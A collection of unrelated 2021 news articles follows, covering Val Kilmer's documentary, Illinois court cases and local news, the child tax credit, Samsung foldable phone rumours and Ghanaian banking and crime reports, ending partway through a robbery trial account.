And for much of Kilmers life, he was self-documenting it. It started with 16mm short films and movie parodies with his brother, Wesley, who died in childhood after an epileptic fit in a Jacuzzi. Forever after, like a habit solidified by grief, Kilmer often had a camera in his hands. In Val, we see him shooting fresh-faced Sean Penn and Kevin Bacon backstage on Broadway in Slab Boys; in his trailer while shooting Top Gun; prodding Marlon Brando and warring with director John Frankenheimer on The Island of Dr. Moreau.

My brother Wesley and my mother are both alive in the film, Kilmer says. Seeing that footage and the movies and art created by Wesley within the context of the rest of the story is extremely meaningful. I lost my mother during the shoot, so Im more and more emotional with each viewing. There are laughs. There are tears.

Scenes like the one he made on The Island of Dr. Moreau helped give Kilmer a reputation as a difficult actor. But in Val, we see an actor driven less by ego than extreme, even manic dedication.

Ive lived in the illusion almost as much as Ive lived outside of it, he says in Val. I have behaved poorly. I have behaved bravely. I have behaved bizarrely to some. I deny none of this and have no regrets because I have lost and found parts of myself I never knew existed.

Kilmer, the youngest actor ever accepted to Julliard when he went, experienced the ups and downs of fame more dramatically than most. His break came in 1984's Top Secret! one of relatively few movies that traded on his talent for comedy. (Another, decades later, was Kiss Kiss Bang Bang.)

Hes the funniest person I know, says Jack Kilmer, 26, sitting alongside his 29-year-old sister in Cannes. Everyone who knows him is like: He is so funny. He should do more comedies. All his best friends, the jokes are nonstop. Yet hes known as a serious, dramatic actor.

Val is narrated by Kilmer but voiced, movingly, by Jack. His son looks and sounds like Kilmer, who wrote the narration sporadically, in text messages and scrap books. About halfway through the film, the directors say they forget it isn't Val. In one scene, the filmmakers capture Jack, in a recording booth, pausing to ask if one of his dads stories  a new one to him - is really true.

Our dad has so many stories," says Jack. "You never know what youre going to get when you hang out with him. Hell just drop a story on you. Its kind of like the experience of watching this movie.

For Jack and Mercedes there were other epiphanies. They had only seen some of the tapes.

I had ever seen footage of my parents wedding before Leo showed me, says Mercedes, who lives next door to her father.

Weve been sitting on this movie for a long time, says Jack. Definitely our whole lifetime.

Kilmers biggest breakthrough, of course, was Top Gun, a movie he recalls not initially wanting to do. I thought the script was silly and I disliked the warmongering in the film, he narrates in the documentary. On Tony Scotts set, he was more energized by the film. For the rest of his life, he says, I will be called Iceman by every pilot at every airport I ever go to.

But Kilmers resistance to being pigeonholed and typecast lasted forever. Willow, Batman Forever, The Doors, Tombstone, The Saint, Heat. Scott first encountered Kilmer while working with him on Harmony Korines short, in which Kilmer played himself, for the 2012 VICE project The Fourth Dimension.

Scott, captivated by Kilmers freewheeling energy to create (he remembers the actor sending in videos of himself from Home Depot), kept on working with him. Together they mounted one of Kilmers largest undertakings, the one-man stage show Citizen Twain, in which he played Mark Twain.

I wandered my ranch talking to myself for years in advance of workshopping the one-man show, says Kilmer, who more recently sold his 6,000-acre New Mexico ranch.

Kilmers outlook is, as ever, enthusiastic. He continues to create in myriad ways  collages, an upcoming book of poetry that a24 will publish. He keeps a studio in Hollywood that he lends space to an inner-city theater program. And Hamlet? "Dont count me out, he says. The best is yet to come.

I have no regrets, adds Kilmer. Ive witness and experienced miracles.



Follow AP Film Writer Jake Coyle on Twitter at: http://twitter.com/jakecoyleAP

Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.

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NORMAL  The Connect Transit board has named David T. Braun new general manager.

Braun had been director of transit operations for Southwest Ohio Regional Transit Authority in Cincinnati.

Braun also was a vice president Transdev North America, which manages transit systems for about 200 cities, counties, airports and other entities.

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He spent 22 years at First Transit, serving in various senior management roles at locations including CityLink in Peoria, where he was assistant general manager and the general manager from 1996 to 2002.

Braun fills the position left vacant by Isaac Thorne, who stepped down in August to take a similar position in Knoxville, Tennessee. Former Normal City Manager Mark Peterson was interim general manager.

Board Chairman Ryan Whitehouse said, We feel very fortunate to have been able to attract a candidate as experienced and accomplished as is David Braun. The members of the Board of Trustees are confident that Mr. Braun will find ways to make our already outstanding transit system even better.

The position includes the day-to-day operation of the transit system, which has a $15 million operating budget and 140 workers.

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NEW YORK  A Manhattan jury on Tuesday convicted a Chicago banker of criminal charges for enabling Paul Manafort to get $16 million in loans before the former campaign manager for ex-President Donald Trump helped him get an interview for a job in the Trump administration.

The jury returned its verdict in federal court after less than two hours of deliberations, convicting Stephen Calk of financial institution bribery and conspiracy. Calk's lawyers had maintained their client did nothing illegal in the weeks after Trump won the presidential election in November 2016.

But prosecutors said Calk cleared a path for Manafort to receive loans he was not entitled to in the hopes that Calk could secure a high-level post with the Trump administration. Although Calk eventually got an interview at Trump Tower, he was not hired.

Sentencing was set for Jan. 10 for Calk, who was the former chief executive of The Federal Savings Bank.

As Calk left the courthouse, he declined comment. His lawyer, Paul Schoeman, later issued a statement, saying: "We are very disappointed by the verdict and will be pursuing all available legal remedies, including an appeal."

In a release, U.S. Attorney Audrey Strauss said Calk had used his federally insured bank to try to buy himself "prestige and power."

During the three-week trial, prosecutors gave jurors proof that Calk played a pivotal role in getting approval for a $9.5 million real estate construction loan and another $6.5 million so Manafort could finish construction on a Brooklyn condominium and avoid foreclosure.

Defense lawyers argued that Calk could not win approval for the loans without the bank's loan committee and underwriters agreeing to the terms. And they noted that the loans were obtained at a time when Manafort was considered wealthy and successful and had not yet been criminally charged.

Early in the trial, Anthony Scaramucci testified that he never would have enabled Calk to get the interview for the administration post if he had know that Calk was helping Manafort to get millions of dollars in loans for his real estate ventures.

Scaramucci had testified that Manafort, who served as Trump's campaign manager for a key stretch from June to early August 2016, reached out to him in mid-to-late December 2016 to encourage him to consider Calk for an important position.

At the time, Scaramucci was working on Trump's presidential transition team.

Although Calk had hoped to become Secretary of the Army, he eventually interviewed for other positions because that post had already been filled, Scaramucci said.

Manafort lost his position in Trump's campaign over his ties to Ukraine. Special counsel Robert Mueller's Russia investigation led to his criminal conviction and a sentence of over seven years in prison for financial crimes related to his political consulting work in Ukraine. In December, Trump pardoned him.

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A former Chicago Public Schools elementary school principal has been arrested on federal charges alleging a seven-year scheme to have employees file for overtime they didnt work and kick back at least $200,000 to her.

Sarah Jackson Abedelal, 57, of Chicago, was arrested Wednesday and is scheduled to appear in U.S. District Court on an indictment charging her with 10 counts of wire fraud.

Abedelal was the principal of Brenneman Elementary School in the Buena Park neighborhood for about 12 years until 2019, when the CPS Inspector General began investigating the alleged scheme. She could not immediately be reached for comment, and an attorney for her was not yet listed on the court docket.

According to the 18-page indictment, Abedelal and several administrative underlings at Brennaman, including the assistant principal, a clerk and a business manager, ran the scheme over a seven-year period beginning in 2012. None of the other administrators has been criminally charged, and they not identified by name in the indictment.

Abedelal told employees that she would sign off on overtime that they never worked, and that the extra money they received would be used to pay legitimate school expenses incurred by the school, when she was actually using it for her own purposes, according to the charges.

Abedelal had the employees withdraw the unearned overtime in cash on the day their paychecks were deposited. Shed then meet with them individually in her office or classrooms to collect the cash, the indictment alleged.

To conceal the scheme, Abedelal allegedly used the cash to buy money orders at a currency exchange, which she then used to pay personal expenses, including the mortgage on her home, the indictment stated.

As part of the charges, prosecutors are seeking forfeiture of Abdelals four-bedroom home in the 6500 block of South Woodlawn Avenue, in the Woodlawn neighborhood, court records show.

Each count of wire fraud carries up to 10 years in prison if she is convicted.

Chicago Public Schools had no immediate comment Wednesday.

Brenneman, in the 4200 block of North Clarendon Avenue, serves just over 400 Kindergarten through 8th Grade students. The schools motto is, Where high standards and excellence are the expectations, according to its web site.

In 2017, Abedelal was picked for CPS Independent Schools Principal program, which allows high-performing principals to run their schools with less oversight from the central office and rewards them with additional independence to lead their schools.

At least 90 principals have been selected for the program, which launched in 2015 under former Mayor Rahm Emanuel.

The charges against Abedelal marked yet another black eye for CPS, one of the nations largest school districts, which has been beset for years by mismanagement and budget and labor woes.

Last year, a former top aide to district CEO Janice Jackson pleaded guilty to a charge of lying to the FBI about whether he passed secret bid information about a massive $1 billion custodial contract to an operative working for one of the bidders.

Pedro Soto, 45, who resigned as Jacksons chief of staff before he was charged in August, is cooperating with investigators as he awaits sentencing.

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SPRINGFIELD  Lawyers for plaintiffs and the state told a panel of federal judges Wednesday the issues involved in two lawsuits challenging the states legislative redistricting plan are straightforward and ought to be resolved in short order.

But the three-judge panel hearing the case appeared uncertain about how much time they actually have, given the deadlines that are spelled out in the Illinois Constitution and the fact that lawmakers this year pushed back the 2022 primary by three months, to June instead of March.

The two lawsuits  one by Republican legislative leaders and another by the Mexican American Legal Defense and Education Fund, or MALDEF  both argue that the new state House and Senate district maps violate the U.S. Constitution because they were drawn using survey data rather than official U.S Census numbers, which have been delayed this year due to the pandemic and other factors.

Both suits name the Illinois State Board of Elections and its individual members as well as Illinois House Speaker Emanuel Chris Welch and Senate President Don Harmon as defendants.

Those two cases have since been consolidated and assigned to a three-judge panel, as is required under federal law whenever a suit challenges the constitutionality of a redistricting plan. Those include Judge Robert Dow Jr., of the Northern District of Illinois; Judge Jon E. DeGuilio, of the Northern District of Indiana, and Judge Michael B. Brennan of the 7th U.S. Circuit Court of Appeals.

During a remote status conference Wednesday, Charles Harris, an attorney representing the Republican leaders, called it a straightforward and simple case that violates the one person, one vote principle under the equal protection clause of the U.S. Constitution.

He said courts have previously held that legislative districts must be substantially equal in population and that the data from the Census Bureaus American Community Survey, which is what Democratic leaders used to draw the new maps, should not be used for redistricting.

If the case goes to trial, which is yet to be determined, Harris said his team plans to call expert witnesses, including a former Census Bureau official who would testify about why ACS data is inappropriate, as well as a data expert who would demonstrate how the use of ACS data results in maps that are far outside the margins of what courts consider allowable deviations in population.

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MALDEF attorney Francisco Fernandez-del Castillo said his team plans to present substantially similar arguments. But he said they will also argue that the standard for determining whether the maps meet constitutional requirements is to analyze them using data that the Census Bureau provides states for redistricting purposes.

That data from the 2020 census will not be available until mid-August. The only data currently available, he said, is from the 2010 census, and if that were used to analyze the new maps, they would not meet constitutional muster.

But attorney Michael Kasper, who represents Welch and Harmon, said he doesnt believe the case should go to trial because the plaintiffs lack standing to sue and because the case is not yet ripe for consideration.

He said that under previous U.S. Supreme Court decisions, plaintiffs can sue only if they can demonstrate that they live in a district where their vote has been diluted. He also argued that the question of whether district populations vary too widely can be answered only after the official census numbers are released in August.

Under the Illinois Constitution, lawmakers are given until June 30 in the year after a decennial census to approve new legislative maps. After that, the job is handed to an eight-member legislative commission, evenly divided between Republicans and Democrats.

If that panel cannot produce maps by Aug. 10, a ninth member, who could come from either party, is randomly drawn and added to the commission to give one party a single-vote advantage. That commission then has until Oct. 5 to approve new maps.

The suit by Republican leaders asks the court to invoke that section of the constitution by ordering Welch and Harmon to appoint a bipartisan commission. In the alternative, they ask the court to appoint a special master to draft valid maps.

Kasper, however, argued that such an order would be an extreme remedy and that the question of whether to appoint a bipartisan commission is a matter of state law and the state constitution.

After the hearing, the panel issued an order directing all parties to begin lining up their expert witnesses and setting a schedule of deadlines for filing briefs. The case is tentatively set for trial Sept. 27-29.

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Illinois is hiring seasonal employees with a starting wage of $11 per hour to work the Illinois and Du Quoin state fairs.

Krista Lisser, public information officer for the Illinois Department of Agriculture, said the state is looking to hire a total of 600 seasonal employees to work the two state fairs, one in Springfield and the other in Du Quoin.

Employment opportunities include maintenance, customer service-oriented positions like cashiers and clerks, security, parking staff and tram drivers, Lisser said.

An application is available to download at https://bit.ly/2T6LHiH and can be submitted to the IDOA by attaching it to an email and sending it to agr.seasonalhires@illinois.gov.

Applications can also be submitted in-person at 801 E. Sangamon Ave., Springfield, inside gate 11 of the Illinois State Fairgrounds or, for Du Quoin, at the administration office of its state fairgrounds at 655 Executive Drive, Du Quoin.

The Illinois State Fair begins Aug. 12 and will run through Aug. 22. The Du Quoin State Fair will begin Aug. 27 and run through Labor Day weekend.

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Pope Francis is elevating the Rev. John Iffert, pastor of St. Stephen Catholic Church in Caseyville, from priest to bishop and sending him to lead the Catholic Diocese of Covington in Kentucky.

Iffert, 53, will replace Bishop Roger Foys, who submitted his resignation last July, when he turned 75, which is mandatory for bishops in the Catholic church. Foys has led the diocese for 19 years.

Iffert's appointment was announced Tuesday in Catholic publications and at a news conference in Covington.

Iffert will be ordained and installed in late September, according to a news release from the Catholic Diocese of Belleville, where he has served all but five years since 1997.

"I am astounded and deeply grateful that Pope Francis has elected me to serve as the eleventh Bishop of Covington, Kentucky," Iffert wrote in a letter to Catholics in Southern Illinois.

"I am inspired by Pope Francis' vision of a Church so deeply rooted in a relationship with Christ that we accompany the outcast, tend the wounded, mourn with the brokenhearted and rejoice and give thanks in every circumstance, and so carry out Jesus' mission of evangelization."

Iffert told the Cincinnati Enquirer that he thought a friend was playing a joke on him two weeks ago, when he got a call asking if he'd like to become the new bishop of Covington.

The newspaper noted that Iffert will face the same challenges as other bishops across the country, including a priest shortage, declining Mass attendance and fallout from a decades-long clergy abuse scandal. He told reporters his first goal is getting to know the diocese and its people.

Iffert has been leading St. Stephen for about six months.

"Our parishioners really like him, although he's only been here a short time," said Carol Donahue, 69, church secretary for eight years. "He's very caring and very outgoing. He's an excellent priest."

Iffert became vicar general for the Belleville diocese last year. That made him top assistant to Bishop Michael McGovern, 57, a former Chicago-area priest installed a year ago.

The Covington diocese covers 3,359 square miles in northern Kentucky with a population of 532,567 people, including 91,895 Catholics, according to The Messenger, the Belleville diocese's newspaper.

Iffert's ordination and installation is scheduled for Sept. 30 at the Cathedral Basilica of the Assumption in Covington.

"Bishop-elect Iffert has been an excellent priest and a dedicated pastor, and he is widely respected in our diocese," McGovern said Tuesday in a statement. "With his strong faith and many talents, I believe (he) will be an excellent shepherd for the people of northern Kentucky."

Iffert grew up on a farm in rural Du Quoin, the youngest of three children of John and Mary Iffert. He attended Sacred Heart Catholic School and Du Quoin High School.

Iffert went on to pursue a bachelor's degree in political science and economics from Illinois State University. He entered Mundelein Seminary at University of St. Mary of the Lake near Chicago in 1992, earning a bachelor's in sacred theology and master of divinity degree.

Iffert was ordained a priest in 1997 by former Belleville Bishop Wilton Gregory, who was elevated last year from archbishop of Washington, D.C., to cardinal by Pope Francis.

Iffert served as parochial vicar at Cathedral of St. Peter in Belleville from 1997 to 2000 and pastor of Immaculate Conception Catholic Church in Columbia from 2000 to 2003.

"In August 2003, he entered the novitiate of the Order of Preachers, Province of St. Albert the Great, USA (Dominican, Central Province)," The Messenger reported. "He professed simple vows as a Dominican in 2004 which he renewed in 2006.

"From 2007-2008, he served as parochial vicar of St. Thomas Catholic Center at Purdue University in West Lafayette, Indiana. Father Iffert left the Dominicans in 2008 and returned to the Diocese of Belleville."

Iffert was administrator of St. Mary Immaculate Conception in Mt. Vernon from 2008 to 2010, administrator of St. Theresa of Avila in Salem and St. Elizabeth Ann Seton in Kinmundy from 2009 to 2010, pastor of St. Mary from 2010 to 2020 and pastor of its sister parish, St. Barbara in Scheller, from 2014 to 2020.

Iffert began leading St. Stephen Catholic Church in January. He replaced the Rev. James Nall, who continues as pastor of its sister parish, Holy Trinity in Fairview Heights.

"(Father Iffert is) going to be a fabulous bishop," Donahue said. "But he will be very, very missed by our parish."

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A registered sex offender was arrested in connection with a missing person case in Georgia.

Zachary Despain, 36, of the 400 block of Cross Street, Springfield, was in custody at the Sangamon County Jail awaiting formal charges.

Springfield Police responded to a 911 call about 7 a.m. Saturday from a 13-year-old girl who said she had been abducted from Cochran, Georgia.

Officials said the girl was last seen around 4 p.m. July 6 at her home in Cochran, about 45 minutes south of Macon, Georgia, in Bleckley County.

According to Springfield Police Deputy Chief Joshua Stuenkel, detectives interviewed the girl at the Sangamon County Child Advocacy Center. She provided details about how she talked with the suspect via social media and how he picked her up in Georgia and drove her to Springfield.

Working with Georgia Bureau of Investigation, SPD detectives were able to identify a vehicle suspected used in the case.

A vehicle similar to one described to Georgia authorities was found on surveillance footage in the 900 block of East Monroe Street where the girl was located. After an Illinois State Police registration check, investigators determined the vehicle had been rented by Despain.

Authorities obtained a search warrant for the vehicle and Despain's residence.

According to a probable cause record, Despain was arrested in Springfield Sunday on preliminary charges of aggravated criminal sexual abuse of a victim between 13-17 years old, traveling to meet a minor and solicitation to meet a child.

The Georgia Bureau of Investigation also secured arrest warrants for Despain for interference with custody, enticing a child for indecent purposes, trafficking of a person for labor or sexual servitude and kidnapping.

Oconee District Attorney Tim Vaughn was seeking to extradite Despain to Georgia to face charges.

Stuenkel said the girl was returned to her family in Georgia.

According to Illinois State Police website, Despain, a registered sex offender, was convicted in 2003 of aggravated criminal sexual abuse and bodily harm to a person under the age of 14 in Peoria County.

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University of Chicago Medicine is requiring its workers to get COVID-19 vaccines, making it at least the second Chicago-area hospital system to do so.

The requirement will apply to employees, volunteers and contractors, though the mandate may be subject to discussion with various unions representing employees, system leaders said in a memo to students, faculty and staff Tuesday.

We are joining other hospitals across the country that have looked at the data on safety and effectiveness of the vaccines in arriving at our decision, said the memo from Dr. Kenneth Polonsky, dean and executive vice president for medical affairs, and Tom Jackiewicz, University of Chicago Medical Center president.

They said a similar message would be sent to employees of UChicago Medicine Ingalls Memorial hospital in Harvey.

The University of Chicago has also announced vaccine-related requirements for university employees and students.

With the move, University of Chicago Medicine joins other hospital systems that have also announced vaccine mandates, including Loyola Medicine, systems in southern Illinois, and others across the country.

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Photo: (Photo : Bryan Bedder/Getty Images for ParentsTogether)

American families eligible for the expanded child tax credit will see the first check payment on their bank accounts beginning July 15. The pandemic stimulus package under the American Rescue Plan to help U.S. households recover from the global crisis will be distributed every month until December 2021.

Under this new scheme, eligible families may receive up to $250 to $300 a month, for the next six months, for every dependent until 17 years old. However, this new process is only half of the money that will go to families every month.

According to reports, the rest of the money will be rolled out during tax season in the spring of 2022. Some 39 million U.S. households, covering 88 percent of children, will receive the new child tax credit benefits automatically on their enrolled bank accounts with the Internal Revenue Service (IRS).

What Makes This New Scheme Better

This expanded scheme differs from the previous child tax credit, where taxpayers usually get a maximum of $2,000 a year for dependents under 17 years old. In the revised plan, the amount paid per child has increased to $3,000 (6 to 17 years old children) or $3,600 (children below six years old), and there are no limits to the number of children to be covered per credit and family. The new scheme also covers college-age dependents (18 to 24 years old) for a one-off $500 payment.

Read Also: Child Tax Credit Payments To Rollout Beginning July 15

Families with an income below $75,000 (single filer), $112,500 (head of the household filer), or $150,000 (joint filers) during the pandemic year may also get the full value of this expanded credit. The biggest change to this revised benefit is the monthly distribution that guarantees families a regular stipend from the government.

Taxpayers may compute how much they should expect to get via the IRS online tool. The government agency will send the monthly stimulus check to taxpayers who filed in 2019 or 2020, and they won't have to do anything else since their records with IRS are updated.

Parents who did not file their taxes may still be eligible to get the benefit by using the non-filer tool on the IRS website. However, families may also opt out of the monthly payments, in favor of lump-sum payments in 2022, and change their preference on the IRS portal before the next rollout in August.

Efforts to Retain Expanded Scheme

Meanwhile, some members of Congress are planning ways to retain the expanded child tax credit scheme permanently since the coverage is up to the 2022 financial year only. According to Rep. Paul Tonko, D-Albany, the U.S. can rebuild a stronger economy post-pandemic by "building strong households." He believes that it's essential to invest in this revised scheme.

Related Article: Expanded Child Tax Credit Includes Babies Born or Adopted This Year

Dr. Leigh Wedenoja, an analyst at the Rockefeller Institute of Government, said that the monthly payments introduced in this expanded scheme are a big help to families. It prevents situations like eviction or defaulting on bills.

Experts predicted that the new child tax credit benefit would reduce childhood poverty across the U.S. by 50 percent. Eligible families should have received a letter from the IRS months before the rollout.
Photo: (Photo : Igor Golovniov/SOPA Images/LightRocket via Getty Images)

A mom on a trip with her husband and two-year-old daughter claimed she was humiliated in public after a flight attendant berated and belittled her because of her baby's dirty diaper.

Farah Naz Khan, 34, who works as a doctor in Seattle, admitted that she disposed of the dirty diaper in the trash can at the airplane's restroom, and because of this, the flight attendant tagged her on the "no-fly list." Apparently, the flight attendant considered the dirty diaper as a biohazard.

Khan told NBC News that she went to the restroom at the back of the plane with her daughter midway through their flight to Houston from Montana. The small area had a diaper changing station, and she proceeded to change her daughter's diaper and disposed of the used piece inside a scented bag before throwing it in the trash.

Read Also: New Child Tax Credit Checks Start Rolling Out on July 15; Will Scheme Be Permanent?

However, a male flight attendant followed her back to her seat and asked her if she disposed of the dirty diaper in the restroom. When she said yes, the person said it's a biohazard, and she was told to retrieve the dirty diaper.

Khan said that she tried to explain to the flight attendant, but he yelled at the mom. She was also not given a garbage bag to keep the diaper she retrieved from the trash can.

Filing a Complaint

As soon as the plane landed, Khan reported the incident to Mesa Airlines's customer service hotline. The mom pointed out that she has flown with her baby many times before and has thrown dirty diapers at the airplane's trash can without any incident.

Following her report, Khan received a call from the airlines and believed it was the flight attendant who humiliated her. He further reiterated that she's on their no-fly list. However, the doctor said she has retrieved the "biohazard" and threw it in an outside trash can when the plane landed.

Fhan also told ABC News that the phone call was not professional and described the person at the other end of the line as "unhinged." The doctor said she has also filed complaints with United Airlines, the parent company of Mesa Airlines, as well as the Federal Aviation Administration (FAA), and the police as she wants to know the name of the flight attendant. She is planning to file a case in court.

United Airlines released a statement saying that they were working with Mesa Airlines to investigate the incident. The company said that the behavior of the flight attendant, as described by the mom, "does not meet the high standards" of the company.

Disposing Dirty Diaper Inside Airplanes

According to the Environmental Protection Agency (EPA), soiled diapers are considered solid wastes and not hazardous or medical wastes. Solid wastes are commonly dumped in landfills along with other household garbage.

Aboard an airplane, passengers can dispose of dirty diapers using the airsick bag or their own disposal bag. Parents are expected to contain the offensive odor since airplane lavatories are too small and lack proper ventilation.

If the diaper has solid fecal matter, it would be better to dump and flush the fecal matter in the toilet and then throw the used diaper in a sealed bag. The passenger may ask the flight attendant to throw this in the trash receptacle found at the rear of the airplane. However, the U.S. Food and Drug Administration (FDA) has a rule discouraging flight attendants to handle dirty diapers if they have yet to serve the passengers' food, so the parents might need to wait and hold on to the used diapers until they can request help.

Related Article: Cloth Diaper: What You Need to Know
Photo: (Photo : Allen J. Schaben / Los Angeles Times via Getty Images)

Illinois lawmakers have successfully passed the bill to require all state public schools to teach a unit of Asian American History beginning the 2022-2023 school year.

The bill, signed by Gov. J.B. Pritzker on July 9, makes Illinois the first state to mandate Asian American History classes in elementary and high school amid the rise of anti-Asian sentiments in the U.S. due to the pandemic.

House Rep. Jennifer Gong-Gershowitz, one of the sponsors of the bill, said that she did not know about the struggles and discrimination faced by her Chinese grandparents until she earned her law degree in the U.S. She described her family's history as the "quintessential American immigrant story," which only glazed on the hardships faced by families, who are not originally from the U.S.

Read Also: Study Shows Bullying in School, Even Cyberbullying, Drop During the Pandemic

She believes that this mandatory class will give children a greater understanding of the history of Asian American culture. There are around 100,000 Asian American kids in the K-12 classes in Illinois.

"Empathy comes from understanding, and we cannot do better unless we know better," the lawmaker said.

New Standards to Change Perceptions

The measure received a 108-10 vote from members of the House and had no opposition in the Senate. The law will take effect on Jan. 1, 2022, which will give the Illinois State Board of Education enough time to prepare the guidelines.

The bill underscores that the curriculum should touch on important Asian American events and the contribution and impact of Asian American figures in civil rights, government, arts and humanities, and sciences across the country. Local schools will have the leeway to determine the specifics of the classes.

However, Tufts University sociology professor Natasha Warikoo believes that this is only a "symbolic" decision since it will still be up to the schools to decide the minimum time devoted for the lessons to qualify as one unit. The depth of instruction will hinge on how much training resources are given to the teachers as well.

The professor said that for the law to have an impact, Illinois's Asian American history curriculum should impart lessons that can change perceptions that could be discriminatory.

More States Might Follow

Asian American Education Project founder Stewart Kwoh said that this is only the start as ten states are thinking about adopting a similar program. California has introduced Asian American history lessons in March 2021, but it is only applied as a voluntary decision for public schools. It was also issued by the state's Board of Education and has not yet been filed as legislation, unlike Illinois' mandate. Kwoh said that there is also a national movement pushing for ethnic studies, including Asian American history lessons.

It comes as hate crimes among Asian American communities rose to 6,600 violent and discriminatory incidents between March 2020 to March 2021. From January to March this year, hate crime reports involving Asian victims reached 164% in 16 cities in the U.S., per the Center for the Study of Hate and Extremism at California State University.

Related Article: Parenting School in China Certifies 222,000 'High-Achieving' Participants
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Samsung is holding a Galaxy phone event in and around mid-August. Samsung's rumor mill is ramping up suggesting that there could be three foldable phones on the way.

Earlier this month the Korea Herald stated that Samsung's upcoming show will be the first that will pivot around their foldable smartphone lineup, bidding adieu to the phablet-type Galaxy Note series with the S Pen stylus that had been the highlight of the August show for the last decade.

At the August Unpacked event, Samsung is expected to introduce one Galaxy Z Fold3 model and two Galaxy Z Flip3 models.

According to leaked render images, the Galaxy Z Fold 3 is likely to feature a 7.55-inch internal foldable Super AMOLED screen and a 6.23-inch cover display.

For photography, it is likely to sport a total of five cameras, including a triple camera module of three 12MP shooters, a 16MP under-display selfie-camera and a 10MP shooter on the cover display.

If so, it will be the first time Samsung introduces the under-display camera for smartphones. Known as UDC, the camera embedded under the display would offer an uninterrupted viewing experience, free of notches or punch holes on the main display.

The third edition of Z Fold will also support S Pen, which could be attractive to long-time users of Galaxy Note devices. For more read The Korea Herald report

Patently Apple posted a report in early April (2021) titled "A Samsung Patent Filing reveals that S Pen input could be coming to Galaxy Z Fold Smartphones and possibly this summer." The patent figures below are from that patent filing.

(Click on image to Enlarge)

On Monday, July 12th, Wccftech reported that "The new S-Pen Pro is finally being readied, and it seems that Samsung wants to unveil it alongside the Galaxy Z Fold 3." The report pointed to an FCC filing to prove the new S-Pen Pro is official.

For even more predictions for Samsung's August Unpacked event, see Engadget's report revealing extensive leaks.

Earlier this month a Samsung patent revealed what could be coming to the Galaxy Z Fold in the future. Samsung's patent FIG. 7 below illustrates a schematic of a new foldable device concept that uses special programmable function buttons and gestures; FIG. 9B illustrates a possible future Samsung foldable phone in the folded state illustrating the placement of new buttons.

Samsung's patent FIG. 12 below is an exploded view of the new button concept for a future Galaxy Fold device; FIG. 13 illustrates an operational flow of the gesture function.

Samsung's patent goes on to illustrate the button concept possibly extending to their flip style folding phone and possibly being positioned differently.

The sensor module of the foldable phone may include, for example, a gesture sensor, a gyro sensor, a barometric pressure sensor, a magnetic sensor, an acceleration sensor, a grip sensor, a proximity sensor, a color sensor, an infrared sensor, a biometric sensor, a temperature sensor, a humidity sensor, or an illuminance sensor.

About the buttons: while the buttons may be physical, there's the distinct impression that the buttons are implied by way of a user gesture controls. Samsung explains: "In one embodiment, the gesture input signal may be related to finger movements (for example, finger movement patterns). For example, a swipe gesture input signal may be generated through a swipe gesture."

In another example, Samsung notes that the swipe gesture may be finger movements in the unfolded state of the electronic device involving touching a specific section of the first side surface 200c, moving in the positive y-axis direction or negative y-axis direction, and releasing. The swipe gesture enables key input signals to be sequentially generated through the first edge keys arranged on the first side surface 200c, and these key input signals may be recognized as a swipe gesture input signal.

In various embodiments, Samsung further notes that the gesture input signal may be related to a state in which the electronic device is held by a hand. For example, a squeeze gesture input signal may be generated through a squeeze gesture."

Another Samsung foldable granted patent was published yesterday by the U.S. Patent Office under number 11,061,445 that was originally filed in August 2020. Samsung's patent FIG. 2 below illustrates an example of a hinge state of a foldable phone (like the Galaxy Z Flip) and FIG. 16 provides a view illustrating an example of a first folding angle state of a housing and a hinge structure. For more details on this, review Samsung's flip phone patent here.
David Ellis Peery, or Pizza as many of his friends knew him, passed from this life peacefully at his home in Elmore City with his wife of 16 years, Kristan, on June 24, 2021 at the age of 60.
The Bank of Ghana (BoG) has said its attention has been drawn to information circulating on social media to the effect that customers whose accounts are dormant should hurriedly reactivate their accounts or risk losing their funds to the Bank of Ghana.



The regulator said that the recently published Directive on dormant accounts seeks to provide directions to banks and Specialised Deposit-Taking Institutions (SDIs) on how to protect accounts of customers which have remained inactive (no deposits or withdrawal) for a period of two years.



Such accounts are placed in dormant accounts registers and after further three years of no reactivation, the funds are transferred to the Bank of Ghana.



The key ingredient in the reactivation process is the identification of the customer, a statement by the central bank said.



Customers whose accounts fall in this category are encouraged to contact their bankers to reactivate the accounts. As a proactive measure, the Bank of Ghanas Directive urges banks and SDIs to contact customers whose accounts are dormant to reactivate such accounts.



Please note that as part of the Directive, banks and SDIs will publish accounts that remain dormant for a period of five (5) years on their websites and in two (2) daily newspapers as a means of notifying account holders who may not have reactivated their accounts.



For additional protection of accounts that have remained dormant for a minimum of five years, funds in such accounts will be transferred to the Bank of Ghana by banks and SDIs after the newspaper publication.



Customers whose dormant accounts are transferred to the Bank of Ghana do not lose such funds. They or their legal representatives can make claims for the funds by presenting all relevant documentation. Identification and claiming of funds at the Bank of Ghana is not a tedious process, the statement added.







Source: 3news.com









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A Motor rider, who with two alleged accomplices, now at large, robbed a man and his family at gunpoint at Oshiyie, near Accra, has been sentenced to 22 years imprisonment by an Accra Circuit Court.



This was after the court had found Romeo Mensah, aka Kwame and Amenye, guilty on the charge of conspiracy to rob and robbery at the end of a three-year trial.



With Michael Nii Cato, aka Mikay and Kweku Ahale, aka Kwame America, he robbed the complainant of his Honda Pilot vehicle, with registration number GW 7371- 17 valued $56,000.



Other items taken away by Mensah from Abdul- Basit Munagah, were an iPhone 7 plus, One iPod, Apple wristwatch, a gold chain valued at $3,500 and other personal effects.



The Court, presided over by Mrs Afia Owusuaa Appiah, also sentenced Alhassan Yussif and Aminu Bawa to 18 years imprisonment each on the charge of dishonestly receiving.



The court ordered that Yussif, an ex-convict serving 25 years since the year 2018 on a similar charge of robbery, to serve his serve his sentences consecutively.



This means that Yussif, after serving the 25-year jail term handed down by the Kasoa Ofaakor Court, would serve his 18-year jail term imposed by the Circuit Court in Accra.



Before sentences were passed, the Prosecution, led by Assistant Superintendent of Police (ASP) Sylvester Asare, prayed the court to hand down a harsh sentence to serve as a deterrent and like-minded people.



ASP Asare suggested to the Court to keep the accused away from the good people living within the community.



Narrating the facts during the proceedings, ASP Asare said in November 2017, the Police had information that a gang of robbers had attacked and robbed Mr Munagah, an information technologist, residing at Oshiyie, near Kokrobite, in the Greater Accra Region.



The prosecutor said Amenye and his accomplices were members of a gang robbery based in both Accra and Tamale.



He said when they decided to rob Mr Manugah, Mensah trailed him to his house and planted an AK 47 rifle and locally made pistols in a nearby bush.



On November 25, 2017, Ahale, Courage Mishio Dodzi, aka Chi, and another, laid ambush around the Mr Manugahs house, near the spot where Mensah had hidden the weapons.



